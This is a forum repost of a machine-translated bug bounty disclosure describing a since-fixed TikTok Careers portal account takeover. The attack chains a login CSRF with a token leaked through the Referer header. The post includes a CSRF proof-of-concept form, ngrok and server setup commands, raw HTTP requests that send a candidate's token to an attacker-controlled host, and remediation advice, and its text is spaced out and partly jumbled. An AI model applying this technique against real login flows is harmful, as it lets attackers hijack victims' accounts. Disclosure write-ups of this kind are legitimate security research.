搜索

[28928] 2021-05-10_TikTok职业生涯门户网站帐户接管

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2021-05-10_TikTok职业生涯门户网站帐户接管 T i k T o k 职 业 生 涯 门 户 网 站 帐 户 接 管 O t s 安 全   2 0 2 1 - 0 5 - 1 0 以 下 漏 洞 报 告 （ 略 作 修 改 ） 已 于 2 0 2 0 年 1 0 月 1 7 日 使 用 H a c k e r o n e 发 送 到 T i k T o k ， 并 在 1 2 天 内 得 到 解 决 。 咨 询 咨 询 候 选 人 用 来 申 请 职 位 的 T i k T o k 事 业 门 户 网 站 （ 以 下 是 根 据 T i k T o k 的 安 全 团 队 的 要 求 修 改 为 [ r e d e d   d o m a i n   1 ] 的 内 容 ） ， 使 用 F a c e b o o k 和 L i n k e d I n 实 现 单 点 登 录 。 由 于 缺 少 C S R F 保 护 ， 甚 至 更 糟 的 是 O p e n   R e d i r e c t 漏 洞 ， 恶 意 行 为 者 可 以 接 管 候 选 人 的 T i k T o k   C a r e e r s 帐 户 。 此 漏 洞 仅 限 于 T i k T o k   C a r e e r s 门 户 网 站 ， 不 会 影 响 T i k T o k   W e b 或 移 动 应 用 程 序 。 缺 少 缺 少 C S R F 保 护 保 护 先 决 条 件 ： 为 了 执 行 帐 户 接 管 ， 我 们 要 求 我 们 的 候 选 人 先 前 使 用 其 F a c e b o o k 帐 户 在 [ 已 编 辑 的 域 1 ] 进 行 身 份 验 证 ， 因 此 已 获 得 与 T i k T o k 共 享 数 据 的 初 步 同 意 。 此 外 ， 我 们 要 求 候 选 人 在 F a c e b o o k 上 进 行 有 效 的 会 话 。 T i k T o k 没 有 充 分 保 护 启 动 与 F a c e b o o k 有 关 C S R F 的 登 录 流 程 的 端 点 。 因 此 ， 使 用 琐 碎 的 C S R F 攻 击 ， 恶 意 攻 击 者 可 以 将 候 选 人 身 份 验 证 到 其 自 己 的 帐 户 中 ： 请 注 意 ， 由 于 以 下 行 为 ， 上 述 P o C 不 能 以 1 ： 1 的 方 式 工 作 。 如 果 我 们 忽 略 以 下 步 骤 ， 则 候 选 人 将 在 常 规 登 录 流 程 结 束 时 通 过 身 份 验 证 进 入 其 自 己 的 帐 户 。 身 份 验 证 响 应 目 标 身 份 验 证 响 应 目 标 如 果 R e f e r e r 对 的 请 求 中 存 在 标 头 则 将 高 度 敏 感 的 信 息 t o k e n 披 露 给 潜 在 的 攻 击 者 控 制 的 域 。 使 用 此 工 具 t o k e n ， 攻 击 者 便 可 以 将 其 认 证 为 已 t o k e n 被 获 取 的 候 选 者 。 这 是 可 能 的 ， 因 为 对 于 T i k T o k 而 言 ， 它 t o k e n 是 一 个 不 透 明 的 值 ， 无 法 对 其 主 题 进 行 验 证 。 组 装 拼 图 组 装 拼 图 - 复 制 复 制 / 利 用 步 骤 利 用 步 骤 就 像 在 B a r t h 等 人 介 绍 的 W e b 攻 击 者 模 型 中 一 样 。 在 2 0 0 8 年 我 们 要 求 候 选 人 访 问 攻 击 者 控 制 的 网 站 。 此 外 ， 如 前 所 述 ， 我 们 要 求 候 选 人 的 F a c e b o o k 帐 户 必 须 链 接 到 T i k T o k 的 职 业 门 户 。 0 . [ 准 备 ] 保 存 上 述 L o g i n   C S R F   P o C 并 启 动 一 个 简 单 的 W e b 服 务 器 ： 1 .   [ 准 备 ] 由 于 稍 后 需 要 T L S ， 请 启 动 n g r o k （ h t t p s : / / n g r o k . c o m / ） 以 获 取 具 有 有 效 证 书 的 公 共 （ 子 ） 域 （ 获 取 公 共 U R L 以 获 取 进 一 步 的 步 骤 ） ： 2 . [ 候 选 人 ] 候 选 人 浏 览 h t t p s : / / a b c d e f g h i j . n g r o k . i o 上 的 公 开 可 用 P o C （ 受 攻 击 者 控 制 ） - 为 说 明 攻 击 ， 请 手 动 单 击 “ 提 交 请 求 ” （ 也 可 以 使 用 J a v a S c r i p t 来 完 成 ， 以 隐 藏 请 求 （ 来 自 候 选 人 ） 。 3 . [ 背 景 ] 在 没 有 进 一 步 的 候 选 者 交 互 的 情 况 下 ， 对 T i k T o k 端 点 的 请 求 启 动 了 登 录 流 程 。 R e f e r e r 标 头 在 此 步 骤 中 很 重 要 ： 4 . [ 背 景 ] 在 没 有 进 一 步 候 选 人 互 动 的 情 况 下 ， 候 选 人 被 重 定 向 到 F a c e b o o k ： 5 . [ 背 景 ] 由 于 该 候 选 人 在 F a c e b o o k 上 正 在 进 行 会 话 ， 并 且 该 帐 户 已 经 链 接 到 [ 已 编 辑 域 1 ] ， 因 此 F a c e b o o k 将 候 选 人 重 定 向 回 ， 而 r e d i r e c t _ u r i 无 需 任 何 进 一 步 的 交 互 ： < h t m l > < b o d y > < s c r i p t > h i s t o r y . p u s h S t a t e ( ' ' ,   ' ' ,   ' / ' ) < / s c r i p t > < f o r m   a c t i o n = " h t t p s : / / [ r e d a c t e d   d o m a i n   1 ] / a p i / v 1 / u s e r / f a c e b o o k / l o g i n " > < i n p u t   t y p e = " h i d d e n "   n a m e = " n e x t & # 9 5 ; u r l "   v a l u e = " h t t p s & # 5 8 ; & # 4 7 ; & # 4 7 ; r e d a c t e d & # 4 6 ; t i k t o k & # 4 6 ; c o m & # 4 7 ; "   / > < i n p u t   t y p e = " s u b m i t "   v a l u e = " S u b m i t   r e q u e s t "   / > < / f o r m > < / b o d y > < / h t m l > h t t p s : / / [ r e d a c t e d   d o m a i n   1 ] / a p i / v 1 / u s e r / f a c e b o o k / l o g i n h t t p s : / / w w w . a d a m b a r t h . c o m / p a p e r s / 2 0 0 8 / b a r t h - j a c k s o n - m i t c h e l l . p d f $   p y t h o n   - m   h t t p . s e r v e r   1 2 3 4 $   n g r o k   h t t p   1 2 3 4 G E T   / a p i / v 1 / u s e r / f a c e b o o k / l o g i n ? n e x t _ u r l = h t t p s % 3 A % 2 F % 2 F [ r e d a c t e d _ d o m a i n _ 1 ] % 2 F   H T T P / 1 . 1 H o s t :   [ r e d a c t e d   d o m a i n   1 ] [ . . . ] R e f e r e r :   h t t p s : / / a b c d e f g h i j . n g r o k . i o C o o k i e :   [ R E D A C T E D ] H T T P / 1 . 1   3 0 2   M o v e d   T e m p o r a r i l y S e r v e r :   n g i n x C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   2 8 3 L o c a t i o n :   h t t p s : / / w w w . f a c e b o o k . c o m / v 3 . 2 / d i a l o g / o a u t h ? c l i e n t _ i d = 7 9 2 1 3 4 5 7 1 2 4 3 8 9 5 & r e d i r e c t _ u r i = h t t p s % 3 A % 2 F % 2 F [ r e d a c t e d   d o m a i n   2 ] % 2 F a p i % 2 F v 1 % 2 F o p e n % 2 F p o r t a l % 2 F o a u t h % 2 F f a c e b o o k % 2 F c a l l b a c k & r e s p o n s e _ t y p e = c o d e & s t a t e = [ R E D A C T E D ] [ . . . ] H T T P / 1 . 1   3 0 2   F o u n d [ . . . ]
6 . [ 背 景 ] h t t p s : / / [ r e d a c t e d   d o m a i n   2 ] 将 候 选 人 重 定 向 到 重 要 ： 在 这 样 做 时 ， 它 会 使 用 对 T i k T o k 端 点 的 第 一 个 请 求 中 存 在 的 主 机 。 由 于 此 请 求 是 由 攻 击 者 控 制 的 ， 因 此 攻 击 者 可 以 泄 漏 参 数 ： 总 结 ： 总 结 ： 在 这 一 点 上 ， 具 有 发 起 C S R F 攻 击 能 力 的 攻 击 者 可 以 获 得 t o k e n 与 候 选 人 的 F a c e b o o k 帐 户 绑 定 的 。 从 攻 击 者 的 角 度 并 在 全 新 的 浏 览 器 会 话 中 执 行 以 下 步 骤 。 7 . [ 攻 击 者 ] 攻 击 者 浏 览 h t t p s : / / [ r e d a c t e d   d o m a i n   1 ] / l o g i n 并 单 击 F a c e b o o k 按 钮 。 8 . [ 攻 击 者 ] 攻 击 者 将 执 行 以 下 所 有 步 骤 ， 并 将 所 有 请 求 转 发 至 最 终 请 求 （ 包 括 他 的 请 求 ） t o k e n 将 被 发 送 到 的 位 置 h t t p s : / / [ r e d a c t e d   d o m a i n   1 ] / a p i / v 1 / u s e r / f a c e b o o k / c a l l b a c k - 在 此 请 求 中 ， 攻 击 者 将 他 的 请 求 交 换 为 绑 定 到 候 选 人 帐 户 t o k e n 的 先 前 获 得 的 请 求 t o k e n 。 9 . [ 攻 击 者 ] 攻 击 者 被 认 证 为 [ 已 编 辑 域 1 ] 上 的 候 选 者 。 通 用 流 程 如 下 ： 影 响 影 响 恶 意 行 为 者 可 以 使 用 跨 站 点 请 求 伪 造 在 [ 已 编 辑 域 1 ] 上 接 管 候 选 人 的 帐 户 。 推 荐 推 荐 在 初 次 报 告 中 提 出 了 以 下 建 议 ： 1 .   为 启 动 身 份 验 证 流 程 的 端 点 实 施 C S R F 保 护 ， 以 缓 解 L o g i n   C S R F （ 将 候 选 人 身 份 验 证 到 其 帐 户 中 ） 。 2 .   请 勿 t o k e n 向 第 三 方 透 露 与 身 份 验 证 相 关 的 敏 感 参 数 。 如 果 R e f e r e r 使 用 来 确 定 的 目 标 ， 则 t o k e n 必 须 使 用 适 当 的 白 名 单 来 验 证 其 值 ！ 负 责 任 的 披 露 负 责 任 的 披 露 2 0 2 0 年 1 0 月 1 7 日 ： [ L H ] 通 过 H a c k e r o n e 提 交 的 初 步 报 告 ： h t t p s ： / / h a c k e r o n e . c o m / r e p o r t s / 1 0 1 0 5 2 2 2 0 2 0 年 1 0 月 1 8 日 ： [ T i k T o k ] 该 报 告 使 用 C V S S 评 分 进 行 了 分 类 H i g h   ( 7 . 5 ) 。 2 0 2 0 年 1 0 月 2 8 日 ： [ T i k T o k ] 悬 赏 被 授 予 。 2 0 2 0 年 1 0 月 2 9 日 ： [ T i k T o k ] 该 报 告 已 解 决 。 2 0 2 0 年 1 0 月 2 9 日 ： [ L H ] 已 成 功 重 新 测 试 此 修 复 程 序 。 漏 洞 批 露 ： h t t p s : / / h a c k e r o n e . c o m / r e p o r t s / 1 0 1 0 5 2 2 阅 读 原 文 [ . . . ] L o c a t i o n :   h t t p s : / / [ r e d a c t e d   d o m a i n   2 ] / a p i / v 1 / o p e n / p o r t a l / o a u t h / f a c e b o o k / c a l l b a c k ? c o d e = [ R E D A C T E D ] & s t a t e = [ R E D A C T E D ] D # _ = _ / a p i / v 1 / u s e r / f a c e b o o k / c a l l b a c k a s   路 径 。 R e f e r e r / a p i / v 1 / u s e r / f a c e b o o k / l o g i n t o k e n G E T   / a p i / v 1 / u s e r / f a c e b o o k / c a l l b a c k ? n e x t _ u r l = h t t p s % 3 A % 2 F % 2 F [ r e d a c t e d _ d o m a i n _ 1 ] % 2 F & p l a t f o r m = p c & t o k e n = [ C A N D I D A T E - T O K E N ] & w e b s i t e - p a t h = t i k t o k   H T T P / 1 . 1 H o s t :   a b c d e f g h i j . n g r o k . i o [ . . . ] G E T   / a p i / v 1 / u s e r / f a c e b o o k / c a l l b a c k ? n e x t _ u r l = h t t p s % 3 A % 2 F % 2 F [ r e d a c t e d _ d o m a i n _ 1 ] % 2 F & p l a t f o r m = p c & t o k e n = [ C A N D I D A T E - T O K E N ] & w e b s i t e - p a t h = t i k t o k   H T T P / 1 . 1 H o s t :   [ r e d a c t e d   d o m a i n   1 ] [ . . . ]
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理